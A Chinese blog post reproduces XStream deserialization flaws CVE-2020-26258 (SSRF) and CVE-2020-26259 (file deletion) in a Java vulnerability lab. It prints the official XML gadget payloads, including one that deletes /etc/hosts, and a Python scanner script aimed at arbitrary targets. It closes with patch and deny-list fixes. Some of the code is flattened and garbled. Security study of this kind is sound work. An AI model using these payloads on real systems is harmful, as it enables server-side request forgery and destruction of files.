前言 此漏洞是在编写这个月安全通告时候看到的,关于xml的。平时做项目时候也很难碰到有关xml的漏洞,刚好学习下。
正文 漏洞环境:
来自于JoyChou93 的代码,这份代码集成了很多java的漏洞环境,非常方便。
编辑器: Idea
部署环境
首先打开IDEA
,通过git clone
的方式将项目拉下来
首先要设置maven
库的环境,因为idea默认会使用编辑器自带的库环境,如果本机有配置,所以最好配置一下。
配置完成,此时项目会通过pom.xml
文件进行下载
根据网络带宽快慢和maven库配置因素,这一步因为maven
库配置了阿里云,所以下载得挺快的。
等跑完以后,发现有报错
这里,springboot
的插件问题,这里正常会爆红,此时我已经下载好了。如果爆红了,将此处添加一段代码,在重新maven
即可
1 2 这里好像是springboot的版本,但是我添加为最新版还是爆红,后面一个版本一个版本的降,直到这个版本才成功。 <version>2.3.4.RELEASE</version>
漏洞复现
要复现的两个漏洞编号为:CVE-2020-26258(SSRF)/CVE-2020-26259(任意文件删除)
官方已经放出Payload
[CVE-2020-26258] SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler> <dataSource class ='javax.activation.URLDataSource' > <url>http: </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
[CVE-2020-26259]任意文件删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler> <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType>text/plain</contentType> <is class ='com.sun.xml.internal.ws.util.ReadAllStream$FileStream' > <tempFile>/etc/hosts</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
首先找到代码中漏洞位置 位于:fist_right:org/joychou/controller/XStreamRce.java
项目直接run起来,因为后面复现阶段需要使用burp,所以将项目运行端口改为了8082
访问localhost:8082
后,进入到登录界面
readme
文件中有详细给出登录帐号密码
这是登录后的界面,直接访问代码中给出的POST
地址的 ‘localhost:8082/xstream’
CVE-2020-26258
该地址需要post
请求,所以直接get
过去页面是这样的,此时用burp抓包,对其进行复现
将头部GET
改为POST
,并写入官方给出的PAYLOAD
进行测试,返回xstream
。证明有漏洞
CVE-2020-26259
结尾 修复建议 升级至 1.4.15 版本,下载链接为:
https://x-stream.github.io/changes.html#1.4.15
临时修补建议 低于 1.4.15 的不同版本用户可以按照以下代码设置黑名单:
使用 XStream 1.4.14 的用户,只需在 XStream 的设置代码中添加两行即可:
1 2 3 xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" }); 12
使用 XStream 1.4.13 的用户,只需在XStream的设置代码中添加三行代码即可:
1 2 3 4 xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" , "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class }); xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" }); 123
使用 XStream 1.4.7 到 1.4.12 的用户,需要设置多个黑名单:
1 2 3 4 xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" , "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void .class }); xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator" , "javax\\.crypto\\..*" , ".*\\.ReadAllStream\\$FileStream" }); 123
使用 XStream 1.4.6 或更低版本的用户可以注册自己的 Converter ,以防止反序列化当前已知的有危害的 Java 类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 xstream.registerConverter(new Converter() { public boolean canConvert (Class type) { |type.getName().equals("javax.imageio.ImageIO$ContainsFilter" )|type.getName().equals("jdk.nashorn.internal.objects.NativeString" )| | |type == java.lang.Void.class|void .class|Proxy.isProxy(type)| |type.getName().startsWith("javax.crypto." )|type.getName().endsWith("$LazyIterator" )|type.getName().endsWith(".ReadAllStream$FileStream" ));| } public Object unmarshal (HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons." ); } public void marshal (Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons." ); } }, XStream.PRIORITY_LOW); 1234567891011121314151617
参考
最后 写了一个非常脑残的poc
,完全没什么作用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 """ @author: Wrpzkb @file: xstream.py @time: 2020/12/17 11:33 @desc: """ import requests as reqimport sysdef verify (target ): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0" , "Cookie" : "JSESSIONID=49C00E15947D0BE97E94317BD2FB184C; remember-me=YWRtaW46MTYwOTM5NDkwMDE5ODpjNWU1OTZmOTAxYzMxZWU3Yzk5YjQyMGU5MzJkNGRkNg; XSRF-TOKEN=741e4dbe-12a4-4751-921e-e52bd7251e77 " , } ssrf = """ <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='javax.activation.URLDataSource'> <url>http://127.0.0.1/:</url> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map> """ delete = """ <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'> <tempFile>/etc/hosts</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map> """ resp = req.post(target, headers=headers, data=ssrf,timeout=30 , verify=False , allow_redirects=False ) if resp.status_code == 200 and 'xstream' in resp.text : print (target + ",存在漏洞" ) return True print(target + ",不存在漏洞" ) return False if __name__ == '__main__' : if len (sys.argv) == 1 : print('Usage: python xstream.py http://www.target.com/' ) sys.exit() target = sys.argv[1 ] verify(target)